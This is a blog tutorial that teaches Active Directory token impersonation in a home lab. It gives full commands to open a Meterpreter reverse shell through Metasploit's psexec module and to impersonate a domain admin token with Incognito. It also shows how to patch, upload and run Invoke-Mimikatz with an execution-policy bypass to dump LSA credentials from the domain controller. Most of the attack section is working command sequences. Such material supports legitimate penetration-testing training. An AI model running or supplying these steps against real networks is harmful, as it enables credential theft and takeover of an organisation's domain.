Token Impersonation in Active Directory: Incognito & Mimikatz

Welcome to Logos Red, I go bylogos and:

Want to impersonate a Windows admin?

In this post, we’ll look at a “Token Impersonation” attack, which will allow us to impersonate any logged-in user on a Windows machine.

We’ll use Metasploit and its “Incognito” module. A few simple commands will give us an impersonation. After that we’ll see the difference in attempting a password dumping attack.

Don’t worry, I made it as simple as I could. Anybody can follow along.

My Promise

This post will finally end your meaningless search for a valid answer, and you will leave with knowing how to perform a token impersonation attack.

If there are still any questions left, let me know so I can add it to help the next person who will arrive here.

My Goal

To help you improve in less time than it took me and to make sure you leave with what I promised.

I want you to join our community and for this to be a place that you revisit often.

Requirements

A Kali Linux Machine: How to Import Kali Linux Into QEMU/KVM

An Active Directory lab, such as the one I built here: How To Set Up a Kali Linux Active Directory Hacking Lab

Previous Attacks

• How To Perform an LLMNR Poisoning Attack Using Kali Linux
• How To Perform an SMB Relay Attack Using Kali Linux
• How to Attack Active Directory IPv6 DNS with mitm6 & Kali Linux
• Active Directory Enumeration Guide: BloodHound & PowerView

Glossary

Incognito

Metasploit module that allows attackers to impersonate Windows users.

Mimikatz

A versatile tool used for extracting and manipulating credentials on Windows Machines.

Naming convention

Throughout this tutorial, I’ll be using the following naming convention:

Kali Linux Machine = Damian (Attacker)

Windows 11 Machine = Mark (Victim)

What are Tokens in Active Directory?

You can think of them like digital IDs, similar to cookies.

They track logins. This way, users don’t need to enter their passwords each time they want to act. This makes accessing files, applications, or services faster.

The machine “remembers” that the user logged in.

What is a Token Impersonation Attack?

We’re going to take advantage of the way tokens are designed and kept on a Windows machine to impersonate another person who has logged in before.

Let’s say that Mark has logged into his machine but was having some issues. He escalates the problem to a Domain Admin who logs into his machine.

A token was created for the Domain Admin, and an attacker can now impersonate the Domain Admin.

• Damian gains access to Mark‘s machine and wants to dump credentials from the domain controller.
• Damian tries to do so using Mark‘s credentials, but he receives an “Access is denied” message. Mark isn’t a domain admin.
• Damian notices that a domain admin has logged in before, so he uses Incognito to impersonate the admin.
• Damian tries once again to dump credentials using Mimikatz, and this time it works.

The tokens stay on the machine until it’s restarted.

How to Perform the Attack?

First, you need to have a Meterpreter shell open. This can be achieved in many ways, such as PSExec, social engineering, etc.

I’ll be doing a pseudo-PSExec.

Why pseudo? Because we need to disable Windows Defender; otherwise it won’t work. So it isn’t realistic.

msfconsole -q -x "set payload windows/x64/meterpreter/reverse_tcp; use exploit/windows/smb/psexec; set rhosts <victim_IP>; set smbdomain <domain-name>; set smbpass '<password>'; set smbuser <username>; set target 2; set lhost eth0; run"

We can then run the following to load incognito and view the local tokens.

load incognito
list_tokens -u

And then we can impersonate any user and see if they’re a domain admin.

impersonate_token <available_user_token>
shell
whoami

Just like that, we’ve impersonated a user.

Mimikatz Password Dump Example

So we’ll attempt the exact example from before.

First of all, PowerSploit is not maintained anymore, so Invoke-Mimikatz does not work as it is. We need to make a quick modification to the code.

(Thank you CG-root: Thread to fix)

We can use vim to edit the file:

vim /usr/share/windows-resources/powersploit/Exfiltration/Invoke-Mimikatz.ps1

Then, we need to edit the following line:

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')

And change it to

$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);

Now you need to get the “Invoke-Mimikatz” script across to the compromised machine.

To do so:

Background your Meterpreter shell with <Ctrl> + <Z>.

Then run the following:

cd /usr/share/windows-resources/powersploit/Exfiltration
sessions -i 1
upload Invoke-Mimikatz.ps1 C:\\Users\\
cd C:\\Users\\
shell
powershell -ep bypass
. .\Invoke-Mimikatz.ps1

This will get Invoke-Mimikatz across from your Kali machine to your Windows 11 VM and load the script.

Then run the following to attempt the hash dump attack against the DC.

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit' -Computer <DOMAIN_CONTROLLER_NAME.DOMAIN_NAME>

“Access is denied.” We’re not a domain admin.

What would happen if an admin were to log in and we’d impersonate them?

We’ll log in as one on the compromised machine and we’ll reattempt the attack with Incognito.

Type the following to exit the shells and see the new available tokens:

exit
exit
list_tokens -u

And would you look at that? We now have an administrator token; let’s impersonate him.

We’ve now impersonated the domain admin.

Do the same Invoke-Mimikatz attack and this time:

“A La Vie, A L’Amour”

Success.

Such a simple attack, and all it requires is an administrator logging in.

Conclusion

In this post, we explored the process of Active Directory token impersonation using Metasploit’s Incognito and Mimikatz. First, we established a Meterpreter shell on the target machine using a PSExec approach. Then, we loaded the Incognito module to list and impersonate available tokens.

By successfully impersonating a Domain Admin, we demonstrated how to bypass credential limitations and perform a password dump with Mimikatz.

I thank you for reading and I trust that this guide has proved useful

More Resources

If you didn’t understand something or you need some help, we have our own Discord community and I currently offer free coaching.

You can also leave us some feedback with what you did not understand and we will make sure to correct it.